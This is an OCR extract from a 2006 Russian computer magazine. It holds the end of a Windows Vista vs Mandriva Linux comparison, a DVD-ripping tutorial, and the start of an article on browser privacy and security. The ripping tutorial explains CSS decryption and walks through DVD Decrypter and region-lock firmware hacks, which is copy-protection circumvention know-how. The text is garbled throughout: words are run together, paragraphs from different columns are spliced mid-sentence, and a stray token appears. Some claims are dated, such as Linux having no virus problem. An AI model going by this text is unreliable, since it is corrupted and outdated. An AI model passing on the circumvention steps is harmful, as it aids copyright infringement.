входятпроигрыватели, позволяющие воспроизводитьформаты DVD, AudioCD, VCD, MP4,MP3, OGG, WAV и т.д. Правда вот с играмипо‐прежнему беда: портированных версий,естественно, нет и даже эмуляторы, вродеWineX, не помогают. Сдаюсь. При всем уважениик Linux, если хочется поиграть, лучшезапустить игры в Windows.БезопасностьWindows Vista:Никто не спорит, что в винде подцепить троянили малварь довольно просто. Но простотолько тогда, когда ты напрочь забываешьо заплатках для системы и браузера. Еслиты устанавливаешь все обновления и неподдаешься соблазну запустить пришедшийпо почте исполняемый файл, рискподцепить заразу сводится практическик нулю. Но чтобы еще надежнее оградитьпользователя от подобных проблем, Microsoftразработала сразу нескольких систем, вчастности защищенный режим просмотравеб‐страниц, который предотвращает доступвеб-приложений к различным областямсистемной памяти. Сам браузер, как и другиеприложения, благодаря механизму UAC незапускается с правами администратора иимеет ограниченные возможности в системе(а следовательно, и использующие их эксплоиты— тоже). Всевозможные виды атак,такие как, например, переполнение буфера,осуществить в Vista станет существенносложнее из‐за технологии случайного размещениякода в адресном пространстве (ASLR,Address Space Layout Randomization). Кстати,в случае сбоя или какой‐либо непредвиденнойситуации, поможет уже не неказистаяконсоль восстановления, а специальныймастер с графическим интерфейсом!Mandriva Linux:В Mandriva, как и в любой unix‐системе,проблем с вирусами не существует впринципе! И все потому, что этих самых вирусовпопросту нет. Вернее, они, конечноже, есть, но их ничтожно мало в сравнениис количеством заразы, которая распространяетсяв уютных условиях Windows.А знаешь, почему так мало вирусов? Дапотому, что писать вирусы под Linux неинтересно. Предположим, что во времяпрогулки вирус из Сети проник в твойкомпьютер. И что он может сделать? Дапрактически ничего. Потому что у него нетправ root, у него не достаточно полномочий,которые бы позволили нанести вредсистеме. Да, есть определенные технологииполучения прав root, но почти всеони основаны на так называемых дырахв сетевых сервисах (вроде ошибки переполнениябуфера) и актуальны скореедля серверов, нежели чем для рабочихстанций. А в случае сервера необходимоустанавливать обновления.xàêåð 12/96/ 06/039


pc_zoneWindows Vista и ее Aero — интерфейсФайрвол в Висте не только стал функциональным, но еще и удобноконфигурируется через консоль MMCУдобство интерфейсаWindows Vista:Чтобы долго не разглагольствовать окрасоте нового интерфейса, скажу одно:очень круто и впечатляюще. Но помимограндиозных наработок в плане графикии внешнего вида, отличающих WindowsVista, в ней стало действительно удобнееработать. Меню «Пуск» комфортно, дажеесли в системе установлено 200 программ.Быстрый поиск теперь возможен по всейсистеме сразу, что, в частности, являетсяодним из главных нововведений нового шелласистемы, позволяющим быстро находитьнужные документы. А новый эксплорер даетвозможность работать с файлами и папкамина виртуальном уровне и поддерживаетсистему символических ссылок. Особеннохочу отметить такой элемент интерфейса,как Windows SideBar. Известная ещепо бета-версии панель имеет довольноскромные возможности, но они значительнорасширяются с помощью специальныхскриптов‐гаджетов, которые свободно перемещаютсяпо десктопу и могут выполнятьсамые разнообразные функции, напримеротображать прогноз погоды или качествосетевого соединения.Mandriva Linux:Неудобно работать в никсах может бытьлишь по одной причине — из‐за привычкик интерфейсу Windows. Но стоит неделькупосидеть под тем же KDE (другая графическаяоболочка — GNOME — также неплоха, но я еене использую), как тебе раскрываются все егопрелести. Красивые формы; замечательныешрифты; множество визуальных эффектов,которые, кстати, как и в Windows, можно отключитьна медленных компьютерах. Словом,смотрится новый KDE (а именно им комплектуетсяMandriva по умолчанию) очень и оченьсимпатично. Что особенно меня прельщает,так это виртуальные рабочие столы, позволяющиемоментально навести порядок наэкране. Открыто много окон, которые нельзязакрыть, и в то же время они мешают работатьи даже думать? Просто можно переключитьсяна другой рабочий стол. И полный порядок!Куда там Висте с ее единственным рабочимстолом! А что касается SideBar’а, то эта фишкабыла реализована еще в первой версииKDE, то есть задолго до выхода Windows XP…СетьWindows Vista:Настроить сеть — задача подчас сложнаядаже для опытных пользователей. Бывает, настроишьвсе как надо, и вроде бы уже должнозаработать, ан нет — пинги не идут, компьютерыв сетевом окружении не появляются. ЗатоWindows Vista знает, в чем проблема, и, скореевсего, даже поможет ее решить. Благодаряспециальному мастеру в Network Center тыпод чутким руководством сможешь не тольконастроить сеть, но и выявить возможныенеисправности. Конечно, это не вариант длякрупных корпоративных сетей, но для домашнейлокалки — настоящая находка. Любогосетевика не оставит равнодушным встроенныйфайрвол для фильтрования входящего иисходящего трафика. Это уже по‐настоящемупродуманный продукт, с управлением черезстандартную консоль MMC, предоставляющуюмассу возможностей, в том числе сохранениепрофилей для разных пользователей иразных сетей (кстати говоря, в любых панеляхдля настройки соединений ты найдешь опции,актуальные для IPv6). Касательно беспроводныхсоединений — опять же улучшения:Windows больше не пытается автоматическиподключиться к самой мощной сети, дажеесли она совсем чужая. Теперь все грамотноразруливается с помощью профилей. Безпроблем работает и bluetooth.Mandriva Linux:В Linux такого мастера по поиску проблемя, к сожалению, не видел. С однойстороны, к сожалению, а с другой, в Linuxпросто такая функция не нужна. Windows,в основном, рассчитана на не очень квалифицированныхпользователей. Linux жеподразумевает, что пользователь, работающийза компьютером, более или менееквалифицирован. Да и никакая программане сможет определить, например, чтоседьмой провод витой пары плохо обжат ииз‐за этого ничего не работает… Настройкаже сети (и интернета) в Linux с помощьюграфических конфигураторов не вызываетникаких нареканий — лишь бы пользователь,работающий за компьютером, зналпараметры сети. Это касается и беспроводныхсетей, а также bluetooth-устройств(поддержка синего зуба вообще встроенав ядро по умолчанию в виде программногостека bluez). Linux может похвастатьсяудобной программой для настройки файрвола.Ты вот сможешь в Windows ограничитьчисло пакетов, присылаемых узломс MAC-адресом 11:12:13:14:15:16, — неболее 10 пакетов в минуту? Или сделатьто же самое, но только для определенногоприложения? В Linux это реализуемо засчитанные минуты. А что касается IPv6— нашел, чем удивить: поддержка этойверсии протокола появилась еще с релизасуперсервера xinetd./ 040xàêåð12/96/ 06


Графическая оболочка для установки Windows VistaApplication browser поможет установить нужныеприложения в Mandriva Linux>> pc_zone768487:Ax9EIbaZДжентльменский набор софтаWindows Vista:Microsoft сделала бы огромную ошибку, нарушивсовместимость со старыми приложениями.Опасения по поводу серьезно изменившегосяядра оставались до конца. Впрочем,они не подтвердились. Почти все приложенияиз моего джентльменского набора отличноустановились и корректно работают в новойсистеме, за исключением разве что некоторыхантивирусов и файрволов, которыеактивно используют системные API-вызовы.Разработчикам этих программ придетсявнести некоторые коррективы. В остальномже никаких изменений — любое приложение,как и прежде, установит даже ребенок.Mandriva Linux:Для любой Windows-программы, которую тыюзаешь, совершенно точно есть свой Linuxаналог.Причем даже не один, а несколько.Поэтому ты сможешь не только найти альтернативу,которая, не в пример Windows-приложениям,будет бесплатна, но еще и выбрать то, чтотебе больше всего нравится. Наша подборкаunix‐софта на DVD — тому подтверждение. Дляниксов разработано абсолютно все необходимое,и если ты по‐прежнему живешь старымистереотипами, смотри www.linuxrsp.ru/win-linsoft/table-rus.html.. Кстати, многие до сих пор полагают, что они нев силах установить нужный пакет под никсами,и даже не подозревают, насколько это теперьпросто. В современных версиях Linux используютсяумные менеджеры пакетов, учитывающиезависимости между различными программами,а также утилиты YAST и APT, которыесущественно облегчают процесс установки иобновления софта. Скачав RPM-пакет (в случаеMandriva, Suse, Fedora Core), ты установишьпрогу с помощью нескольких щелчков мыши.БыстродействиеWindows Vista:Несмотря на наезды по поводу тормозов,можно сказать, что многое в Windows Vistaработает заметно быстрее. То же самоевключение и выключение теперь осуществляютсяпрактически мгновенно благодаря тому,что система не отключается полностью, апереходит в специальный хитрый режим сна.Mandriva Linux:А у нас свой ответ — отличная файловаясистема ReiserFS, у которой есть однонеоспоримое преимущество (в то время какзапланированная в винде WinFS так и не будетвоплощена в жизнь). Она хранит несколькоЩелкнул кнопку выключения — система тутже отключилась, щелкнул еще раз — и черезмгновение можешь продолжать работу. Ноэто еще не все. Интеллектуальная технологияSuperFetch особым образом управляетпамятью, отслеживая часто используемыеприложения. Определив закономерности вработе пользователя, она начинает работатьмелких файлов в одном блоке. Эта особенностьназывается Tail Packing. Tail («хвост»)— это небольшие файлы, размер которыхменьше логического блока, или остатки болеекрупных файлов. Благодаря подобному подходуReiserFS позволяет экономить дисковоена опережение, заранее подгружая в памятьнужные приложения и тем самым ускоряяих запуск. Хорошо показала себя и фишкаReadyBoost, которая создает дополнительныйкэш на внешних USB-носителях. Последниеработают заметно быстрее, нежелиобычный жесткий диск, поэтому такой подходнамного эффективнее обычного swap’а.пространство и в то же время обеспечиваетвысокую производительность. Да и вообще,система изначально сбалансирована так,чтобы разработчикам не приходилось ломатьголову и прибегать к всевозможным ухищрениямдля увеличения производительности.А что же выбрать?!Каждая из представленных систем имеет свои преимущества, поэтому глупо рекомендовать тебе что‐то одно. Большинству пользователей,конечно, роднее будет Windows Vista, в которой они найдут привычные приложения, обновленный, но знакомый интерфейс и высокую стабильность.Но мы искренне надеемся, что и Mandriva не останется без внимания. В конце концов, ты можешь опробовать ее в действии бесплатно исам решить: нужно тебе оно и нет. Но будь уверен: во многом она не только не ниже, но даже выше сверхсовременной разработки от Microsoft! zxàêåð 12/96/ 06/ 041


pc_zoneКрис КасперскиНа службеу капитана ФлинтаПравильный DVD-Rip своими рукамиДля хорошего просмотра мало хорошего фильма. На высоте должны быть картина и звук. Но что мы имеем сейчас?Все, что валяется в Сети, — это огромное количество кривых DVD-Rip'ов, созданных непрофессионалами,на которые сложно смотреть без отвращения. А все потому, что сплошь и рядом используются полностью автоматическиеriper'ы с уровнем интеллекта не выше, чем у дождевого червя. Правильный rip — очень серьезноедело, и доверять его автоматике ни в коем случае нельзя!Цели и задачи rip'аавай разберемся, а зачем вообщенужно делать rip’ы дисков?ДВо времена, когда DVD-приводсчитался предметом роскоши,другого выхода просто не было. Но сейчас,когда резак есть в каждом доме, а стоимостьDVD-болванки (за исключением двухслоек)вплотную приблизилась к стоимости обычнойCD, имеет ли смысл вообще тратитьвремя на оцифровку дисков? Не лучше ливоспользоваться тем же CloneDVD и перекопироватьDVD, взятый на прокат, одинк одному, сохранив исходное качество ипрочие прилагающие к DVD бонусы? Лучше,если речь идет о десятке дисков. Но по мерероста домашней DVD-коллекции находитьнужные фильмы становится все сложнее исложнее (моя личная фильмотека насчитываетсвыше тысячи дисков, рассованных вовсем углам). Гораздо удобнее держать всеэто хозяйство на винчестере (тем более чтожесткий диск размером 500 Гб уже не роскошь).А сколько дисков утекло со словами:/ 042«Дай посмотреть на пару дней, верну», некаждый и сосчитает! Кроме того, после рипаможно избавиться от такой напасти, какнепропускаемая реклама. Так что рипать,то есть перегонять содержимое DVD нажесткий диск или любой другой носитель,все равно приходится. Но содержимое DVD-9 в «естественном» виде занимает порядка8,5 Гб — тут никаких жестких дисков нехватит, не говоря уже о том, что Windows9x (которая еще жива) не поддерживаетработу с файлами свыше 2 Гб. Чтобы там ниговорили, фраза «размер имеет значение»актуальна всегда и везде. Падение качествапри сжатии (если не пихать по 2 фильма наодин CD) не столь существенно, и, если неучитывать воинствующих эстетов, в целомнародные массы вполне удовлетворенытем результатом, который дает DivX. Кстатиговоря, «DVD‐качество» — это не болеечем маркетинговая уловка, и на DVD-дискахраспространяется огромное количество лицензионныхфильмов, в отношении которыхо качестве говорить просто некорректно ипри сжатии которых мы вообще ничего нетеряем! Что еще более важно, перегон DVDна AVI дает большую свободу в выборе видеоплееров,возможность подключения внешнихсубтитров, легкость нарезки фильмовна отдельные «клипы» — короче, предоставляетбольшие удобства и возможности поиспользованию медиапродукции. Особенноэто актуально, когда фильмы используютсядля изучения английского. Без внешних(текстовых) субтитров, без опции зацикливаниядиалогов (с первого и даже второгораза не все удается расслышать), безэквалайзера, улучшающего разборчивостьречи, без режима замедления речи на 10%,20%, 30% (именно речи, а не изображения)освоение английского существенно осложняется.Из всех известных мне DVD-плееровтакими возможностями не обладает ни один!А вот AVI-плееры — BPLAY и Sub-Workshop— с этой задачей справляются вполне!Короче, не будем философствовать о том,быть рипу или не быть, а лучше покажем, какэтот самый рип правильно осуществить.xàêåð 12/96/ 06


pc_zoneОтделение звука от изображенияЭтап № 0Введение в DVDСтандарты предоставляют возможностьшифрования DVD‐содержимого с использованиемтрех зависящих друг от другаключей. Один из них хранится в специальнойслужебной области, не доступной для прожигаDVD-рекордерам, что делает невозможным«сквозное» копирование DVD безих предварительной расшифровки. Другойключ (точнее, список ключей) хранится внутриDVD-плеера (как аппаратного, так и программного)в открытом виде. Это и есть та причина,по которой создание open source DVD-плеераневозможно. Список ключей, являясь объектомавторского права, не может быть использованбез лицензионных отчислений, а самплеер должен в обязательном порядке пройтипроцедуру сертификации, подтверждающую,в частности, что он не позволяет обходитьнеотключаемую рекламу или сохранять расшифрованноесодержимое на диск. Третийключ генерируется на основе первых двух иим‐то уже и расшифровывается контент.Сразу же после публикации черновыхстандартов на DVD множество криптоаналитиковзаявило о ненадежности защиты. Идействительно, через некоторое время онабыла успешно взломана норвежским хакеромЙоном Йохансеном (Jon Johansen), известнымпод кличкой DVD Jon, создателем легендарнойутилиты DeCSS (СSS — Content ScrabblingSystem, «Система скремблирования контента»— официальное название DVD-защиты,а приставка «De», как нетрудно сообразить,означает ее снятие). Причем DeCSS предназначаласьвовсе не для несанкционированногокопирования DVD, а для «легального»просмотра DVD на Linux‐системах. Тем неменее, видеостудии не на шутку возмутилисьи устроили громкий судебный процесс, благодарякоторому широкие массы узнали, чтокопировать DVD все‐таки можно. После этогоусовершенствованные клоны DeCSS пошликосяками, и никакая сила в мире уже не моглаостановить их распространение.Таким образом, все, что нам нужно длярасшифровки DVD, — это считать первыйключ из служебной области диска, воткнутьего в ключ из статичного списка «секретных»xàêåð 12/96/ 06/ключей и сгенерировать финальный ключ.Просто? В реальной жизни все еще проще, ибольшинство дисков (в том числе и лицензионных),продаваемых в России, несет насвоем борту незашифрованный контент.Другой камень преткновения — так называемаярегиональная защита. Чтобы иметьвозможность продавать один и тот же диск вСША и Канаде раз в 10 дороже, чем в Россиии ЮАР, весь мир был разбит на 6 зон. Номерзоны в явном виде прописывается на диске, ипривод, прежде чем начать выдавать содержимое,должен на аппаратном уровне удостовериться,что номер его зоны совпадает скодом DVD-диска. По спецификациям, номерзоны привода можно менять всего лишь 5 раз(он хранится в энергонезависимой памяти),после чего он навечно замораживается и… тутначинается самое интересное. Заказав DVDдискс фильмом через www.amazon.com, мыне получаем никаких гарантий, что его удастсяпрочитать на DVD-приводе, купленном вРоссии. Необходимо либо иметь несколькоприводов, настроенных на разные зоны (чтопо нынешним временам не такая уж и большаяроскошь), либо дожидаться, пока фильмвыйдет в отечественный прокат. Как вариант,можно приобрети мультизональный привод,выпущенный дружественными нам китайцамии читающий все без разбора. Однако Pioner'ыи другие бренды в своем подавляющем большинствеDVD‐стандартам все‐таки придерживаются,и тут только один путь — менятьпрошивку. Существует множество хакерскихпрошивок, либо превращающих привод вмультизональный, либо блокирующих счетчиксмены номеров зоны. Естественно, при этомсуществует вероятность угробить привод безвсяких надежд на его восстановление (не всехакерские прошивки совместимы), поэтомуэто дело лучше доверить мастеру, которыйнаверняка найдется в любом, даже самоммаленьком, городе.Открыв DVD-диск в FAR'е или другом навигаторе,мы увидим папку VIDEO_TS, а в ней— файлы с расширениями ifo (меню), bup(резервная копия меню) и vob (видео в форматеMPEG2, одну или несколько звуковыхдорожек в форматах MP1, MP2, M1V, M2V,MPV, WAV, MPA, AC3 (встречается чащевсего) и опционально субтитры на разныхязыках). VOB-файлов в 99% случаев бываетнесколько. Даже если реклама и прочая мутьуже была заботливо вырезана пиратами, размеродного VOB-файла по стандарту не можетпревышать 2 Гб, а DVD-диск вмещает в себяот 4,7 Гб (DVD-5) до 8,5 Гб (DVD-9) данных, такчто от разрезания VOB'ов никуда не уйти.Вот тот минимум информации, которой долженрасполагать каждый начинающий рипер.Этап № 1Перегон фильмов на жесткий дискИз сказанного выше становится понятно,почему непосредственно скопировать DVDдискна винчестер и проиграть его своимлюбимым видеоплеером нельзя, а точнее,просто не получится. Даже если MPEG2‐кодекустановлен, а DVD не зашифрован, плеереще должен понимать VOB-формат, в которомзвук, видео и субтитры — все смешано в кучу.Значит, нам нужен инструмент, способныйсоздавать DVD-образ, перевариваемыйвидеоредакторами и прочими вспомогательнымипрограммами.Лучше всех себя зарекомендовал DVDDecrypter, который имеет столь широкие возможности,что для их описания потребоваласьбы целая книга, и при этом продолжает совершенствоваться.Помимо расшифровки DVDи создания съедобных образов, он автоматическиснимает практически все известныезащитные механизмы, умеет копировать DVDв режиме 1:1 и делает массу других полезныхвещей (например, умеет находить в Сети хакнутыепрошивки и заливать их в привод). И всеэто абсолютно бесплатно — www.doom9.org/Soft21/Rippers.Вставляем DVD-диск в привод, запускаемDVD Decrypter, в ниспадающем боксе source(источник) выбираем букву DVD-привода (вданном случае «G:») и тут же переводим DVDDecrypter в IFO-режим нажатием клавиши (или через меню Mode/IFO). Это тот режим,с которым работает большинство нужныхнам утилит видеомонтажа и грабежа. В полеdestination (пункт назначения) выбираем целевуюдиректорию, куда будет складироватьсявсе награбленное добро. Для рипа DVD-5043


pc_zoneВыбираем в DVD Decrypter, что грабить и куда Содержимое типичного DVD-дисканеобходимо иметь как минимум 10 Гбсвободного пространства, а для DVD-9 итого больше, так что просторный винчестеротнюдь не помешает.Ниже источника отображается своднаяинформация: LABEL (метка диска), на «некривых» DVD совпадающая с оригинальнымназванием фильма, в данном случае— NATIONAL_TREASURE; Region (региональнаязащита), в данном случае — 2 (Европа) и 5(Россия); и другие типы имеющихся защит, вданном случае — CSS/CPPM. По поводу защитможно не волноваться — они будут отломаныавтоматически, пока мы курим.В закладке Input отмечаем файлы, которыесобираемся рипать. Обычно DVD Decrypterделает это сам, автоматически выбирая PGC(Program Chain) с наибольшей продолжительностью,которая отмечается здесь же в часах,минутах и секундах. Здесь она равна 02:05:43.Если это не фильм, то что же?!Теперь переходим к закладке streamprocessing («обработка потоков»). В потокахнаходится все — видео, звуковые дорожкии субтитры. Ну, все нам явно не нужно.Ставим галочку на enable stream processing(«разрешить обработку потоков») и снимаемгалочки со всего лишнего (при этом радиокнопкаstream должна находится в позицииdirect stream copy — «прямое потоковоекопирование»). В первую очередь в корзинулетят субтитры недружественных нам стран(типа турецких). Русские и английские субтитрыоставляются, по усмотрению рипера.При рипе они сохраняются отдельно и невключаются в основной видеопоток, но влюбой момент могут быть подключены самимвидеоплеером или через специальныйDirect-Show-фильтр.Звуковых дорожек обычно бывает несколько— в разных языках и форматах. Из форматовчаще всего встречается AC3, а из языков— оригинальный английский (если повезет) ирусский «загробный», с прищепкой на носу.Лично я предпочитаю смотреть фильмы воригинале, поэтому обычно оставляю всеголишь одну оригинальную звуковую дорожку.При желании к ней можно добавить и русскую,выбрав из них ту, что получше. Наконец, заходимв настройки (Tools/settings), открываем/ 044xàêåðзакладку device и снижаем скорость приводадо желаемой величины (я предпочитаю 6x).Мотив — в общем времени пережатия DVD вAVI. Чтение с диска происходит очень быстро,а вот кривые (в прямом смысле слова) дискина больших скоростях вызывают сильнуювибрацию, отрицательно сказывающуюсяна здоровье привода (при рипе большогоколичества дисков это становится заметно, иприводы летят косяками, как журавли).При чтении поцарапанных дисков с большимколичеством дефектов поверхности,имеет смысл установить аппаратный счетчикповторов (hardware read error retires) в нуль.При этом привод будет пропускать секторы сошибками без задержек. Вследствие этого навидео появится множество артефактов, но впротивном случае чтение диска с кучей сбойныйсекторов растянется на неограниченноеколичество времени. Каждый из нас знает,как долго приводы ерзают на BAD‐секторах.Хорошо, если такой сектор один, а если ихнесколько тысяч?!Если DVD Decrypter в упор не видит DVDпривод,в соседней закладке I/O находимраздел Interface и выбираем интерфейс,через который DVD Decrypter должен взаимодействоватьс приводом. На NT-подобныхсистемах лучше всего работает SPTI (требуетправ администратора), следом за ним идетASPI (если ASPI-драйвер от компании Adaptecустановлен в системе, чего не происходит поумолчанию, прав администратора он не требует,но на некоторых конфигурациях сильноглючит). Также можно выбрать ElbyCDIO(если в системе установлена программаCloneCD) или Patin-Couffin (если установленBlindWriter). Под Windows 9x доступы только3 последних варианта, однако, в силу рядаприсущих ей ограничений, для рипа она категорическине рекомендуется.Остальные настройки здесь не рассматриваются,так как их слишком много, да и значенияпо умолчанию отлично подходят для подавляющегобольшинства задач.Покончив с хозяйственными делами, нажимаемкнопочку, символизирующую процесскопирования DVD на винчестер и идем питьчай. Первый этап мучений на этом закончен.Самое сложное еще впереди.Этап № 2Знакомство с Gordian KnotИз сотен риперских программ мы выбираемGordian Knot (переводится как «Гордиевузел»). По сути это «графическая морда»,объединяющая множество различныхпрограмм, и настоящие профессионалы довольнопренебрежительно относятся к ней,предпочитая все делать своими лапами ихвостом. На самом деле, никакого произволаздесь нет, и Gordian Knot по первому же требованиюпозволяет перейти в ручной режим,проявляя минимум искусственного интеллектаи автоматизма. Внимание, не путай егос Auto-Gordian Knot — полностью автоматизированной«мордой», давящей все позывытворчества на корню! Результаты рипа,производимого одним кликом мыши, хорошоизвестны и довольно печальны: низкое качество,проблемы совместимости и т.д. и т.п.Как и все входящие в его состав программы,Gordian Knot абсолютно бесплатен и состоитиз двух частей. Первая — Gordian Knot CodecPack — коллекция кодеков и декодеков(http://prdownloads.sourceforge.net/gordianknot).Вторая — Gordian Knot rippack — набор самихриперских программ, включающий в себяDGIndex, VobSub, VirtualDubMod, Nandub,AviSynth, vStrip 0.8f CSS, fluxsmooth и т.д.Перед установкой Gordian Knot Codec Packрекомендуется удалить другие наборы кодековиз системы во избежание конфликтов.Вторым шагом устанавливаем Gordian Knotrippack и видим, что в меню «Программы» появиласьиконка в стиле живописи позднегоабстракционизма. Запускаем… и получаемогромное окно с кучей текста и несколькимикнопочками.Первые две кнопочки (Rip the VOBs) предназначеныдля тех, кто еще не запускалDVD Decrypter и ничего не грабил. Их мы нетрогаем, а нажимаем самую нижнюю кнопкус изображением киноленты на витрине.Вот тут‐то наши риперские приключения иначинаются. От корректности выполненияпоследующих операций зависит судьбавсего рипа, так что отодвинем пиво в сторонуи сосредоточимся.12/96/ 06


pc_zoneНачинаем подготовку рипа в GDIndexПодбор field operation — тут главное не ошибитьсяВсе необходимое длясоздания DVD-Rip'а тынайдешь на DVD к журналу.Не пропусти: длятебя будет подготовленаспециальная подборка!www.doom9m.org— лучший ресурс о том,как правильно создатьDVD-Rip.gordianknot.sourceforge.net — официальный сайтпрограммы Gordian Knot.www.divx.com — оптимальныйкодек дляDVD-Rip'а.Вся приведеннаяинформация данаисключительно для ознакомленияи ни в коемслучае не может бытьиспользована в противозаконныхцелях./ 046Этап № 3Подготовка d2v-проектаПоначалу ситуация выглядит не сложной и совсем дажене угрожающей. Появляется приложение DGIndex, в менюFile которого мы выбираем пункт Open (или нажимаем), после чего переходим к директории с награбленнымиVOB'ами и, удерживая , выделяем все имеющиесяфайлы. Нажимаем «OK» и в следующем диалоговомокне говорим «ADD».Теперь файлы добавлены в проект, и можно начинатьпредварительный просмотр фильма. Нажимаем (File Preview) и видим окно, отображающее видео, и информационнуюпанель справа от него.Информационная панель здесь самая главная. Во-первых,она отображает Aspect Ratio (соотношение ширины и высоты),который в данном случае равен 16:9, что соответствуетнормальному широкоформатному видео. Проверьнадпись на DVD-обложке, там должно быть написано16:9 или 1,85, что одно и то же. Однако на коробках частопишут совсем не то, что мы наблюдаем в реальности, аDGIndex временами ошибается, так что доверять можнотолько своим глазам. Запускаем DVD-диск на программном/аппаратномплеере и смотрим, похож ли он на 16:9или все же ближе к 4:3.Неверное определение аспекта, в общем‐то, нефатально, хотя и ведет к неприятным искажениямизображения. Гораздо важнее правильно определитьчастоту кадров (поле Frame Rate). В данном случае онаравна 25,000 fps, что говорит о том, что мы имеем дело сPAL. Еще бывает NTSC, частота кадров которого равна23,976. Тип видео обычно указывается на обложкедиска, но не всегда соответствует истине, как невсегда правильно распознается программой. Ошибкаопределения частоты ведет к рассинхронизации звукаи изображения, практически незаметной в начале, нобыстро прогрессирующей и к концу фильма достигающейнескольких минут. Поэтому к выбору fps следуетподходить очень тщательно и обстоятельно.Если программа показывает 20,000 fps, это значит, чтомы имеем дело с PAL'овским материалом, но в менюVideo/Field Operation активирована опция Forced Film.Переключаемся в режим Honor Pulldown Flags («учитыватьpulldown-флаги») и дезактивируем ее, остановивпредварительный просмотр по и вновь возобновивего по .Что же это за флаги такие? Все просто. Съемка настандартную кинопленку идет с частотой 24 кадра всекунду, а PAL, исторически привязанный к частоте вэлектрической сети (50 Гц) в купе с черезстрочечнойразверткой, бежит со скоростью 25 кадров в секунду.Выход: чтобы сохранить статус-кво, один кадр из 24‐хдолжен быть продублирован. Но какой смысл пихатьлишнюю информацию в видеопоток, расходуя драгоценныекилобайты? Вот разработчики MPEG2 и предложиливместо целого кадра записать специальныйфлаг «повторить предыдущий кадр еще раз». В NTSC,изначально привязанном к электросетям с частотой60 Гц, вставлять дублирующие кадры приходится ещечаще!Собственно говоря, режим Ignore Pulldown Flags («игнорироватьpulldown-флаги») предусмотрен исключительнодля демонстрации того, что происходит при игнорированииpulldown-флагов (а происходит рассинхронизациявидео с изображением) и крайне редко бывает полезенна практике. Если значение Frame Rate равно 23,976 fpsпри Video Type, равном NTSC или FILM с процентнымчислом, большим или равным 95%, то мы имеем дело сNTSC и ничего двигать не нужно (галочка Forced Film ужепоставлена программой автоматически).А вот если Frame Rate равно 23,970 fps, и Video Type равноNTSC или FILM с процентным числом меньше 95%, то переводимгалочку в Honor Pulldown Flags и отмечаем себе вуме, что в последующем будет нужно проделать операциюобратного IVTC-преобразования.Покончив с fps, переходим к звуковым дорожкам и вменю Audio выбираем Output Method Demux Tracks(«Метод вывода Отделение треков»). Также можнопоставить галочку Normalization и задать желаемуюгромкость звука (я выбираю 100%). Далее необходимоуказать, какие именно звуковые дорожки следуетотделять. Идем в меню Audio, Track Number и указываемномера треков, которые необходимо выделить, чтобыв дальнейшем их можно было наложить на сжатыйвидеопоток. Номера треков, присутствующие в VOB'е,перечислены в разделе Audio информационной панели,и они совпадают с порядком номеров звуковых дорожекв DVD Decrypter.Покончив с этим, в меню File выбираем пункт Save Projectили давим и несколько минут ждем, пока информацияо проекте записывается в d2v-файл и «выдираются»звуковые дорожки.Продолжение следует…Мы проделали большую работу, но d2v-проект — этовсего лишь информация о DVD, но еще не сам фильм. Вследующей статье будет показано, как преобразоватьVOB'ы в AVI с минимальной потерей качества и наложитьзвуковую дорожку zxàêåð 12/96/ 06


pc_zoneКрис КасперскиБезопасный web-серфингГорькая правдао популярных браузерахЯ знаю очень многих людей, считающих, что для полной безопасности им необходима самая малость — последняяверсия «Касперского» и грамотно настроенный файрвол. Ерунда это все! Уж мы-то с тобой знаем,что от хитроумной заразы ни антивирус, ни брандмауэр не спасут. И даже просто блуждая по интернетус помощью браузера, каждый из нас рискует подцепить заразу, целью которой может стать как электроннаяналичность, так и содержимое жесткого диска. Да что там говорить, если браузерам не под силу даже заместиследы пребывания на сомнительных ресурсах. Причем большинство из нас об этом даже не подозревает, святоверя в кнопку «Удалить кэш и историю посещений».Сила в правдечто теперь? Отключиться от СетиИ и удариться в низкоуровневыйкодинг? Нет, есть более демократичныемеры! Чтобы выходитьв инет без страха, совсем не нужно знать дзюдои быть Шварцем, достаточно просто прочитатьэту статью. И прежде чем ставить жутко навороченнуюсигнализацию или врезать выдранныйиз сейфа замок, следует уяснить, что информационнаябезопасность — это не товар, а услуга.Ни один из продуктов (как коммерческих, таки бесплатных), присутствующих на рынке, нев состоянии надежно защитить компьютер,поскольку на каждую хитрую идею найдетсяидея покруче и изощренней. Можно оченьвнимательно читать релизы многочисленныхпрограмм, обещающих защитить тебя от всего/ 048xàêåðи вся, но полагаться стоит только для себя. А дляэтого, как ни крути, придется узнать побольшео том софте, который ты ежедневно используешь.Обезопасить себя от массовых червейи воинствующих хулиганов вполне возможно.Еще проще спрятать компрометирующиеданные, которые браузеры генерят в такомизобилии, что люди в погонах расплылись быв экстазе, добравшись до твоего компьютера.Но обо всем по порядку.Факторы угрозыКоличество хакерских атак неуклонно растет,и значительная их часть приходится на webбраузеры.Из всех факторов риска в первуюочередь можно выделить следующие 3:1. атака на сам браузер с засылкой троянскойпрограммы;2. сбор данных о пользователе (с какой страницыпришел, под каким IP);3. сохранение компрометирующих данныхо посещенных страницах на жестком диске;Поясню сказанное на конкретных примерах.Практически все браузеры страдаютдефектами разработки (или в просторечиидырами). Через дыры лезут черви, вирусыи другие вандалы. Независимо от текущейполитики безопасности в настойках браузерапри посещении страницы всегда, повторяю,всегда существует угроза подцепитькакую‐нибудь заразу, проникающую сквозьантивирусы и брандмауэры. Причем это относитсяне только к порнографическим сайтамили востребованным ресурсам с кейгенамии кряками, но и к серверам весьма респектабельныхкомпаний. Известен случай атаки на12/96/ 06


pc_zoneАтас! Нас поимели!Вот так просто можно найти практически любую заразугостевую доску совсем нехилой фирмы AMD,результатом которой стали тысячи зараженныхпользователей. И хотя это не правило, а,скорее, экзотическое исключение, ездить надырявом браузере не безопасно.К тому же честные браузеры негласно передаютсерверу большой объем информациио пользователе: версию самого браузера(вместе с региональными настройками),языковую кодировку, часовой пояс, URLпредыдущей посещаемой страницы, IP-адрес— словом, достаточно для того, чтобы сдатьтебя. Несмотря на то что де-юре даннаяинформация не считается конфиденциальной,факт ее разглашения существеннонапрягает, особенно если пытаешься выдатьсебя за девушку Kee-Kee, живущую в Японскомгороде Фукуока, которая по какой‐томистической причине использует русскуюверсию браузера с московской Time-Zoneв придачу. Так что легкий флирт очень быстрозаканчивается.Третий фактор — самый серьезный. Компьютерпомнит все наши шаги, сохраняя нажестком диске уйму компрометирующей информации,которую не так‐то просто удалить.Каждый гражданин имеет право на тайноепосещение сайтов нетрадиционной направленности,гарантированное Конституцией, нодалеко не каждому удается реализовать этоправо на практике. Я уже не говорю о простохакерских сайтах и конференциях, которыеприходится посещать, исходя из профессиональнойнеобходимости, хотя афишироватьподобную активность отнюдь не желательно.Более того, пароли и прочая информация,сохраненная в куках, становится легкойдобычей троянских 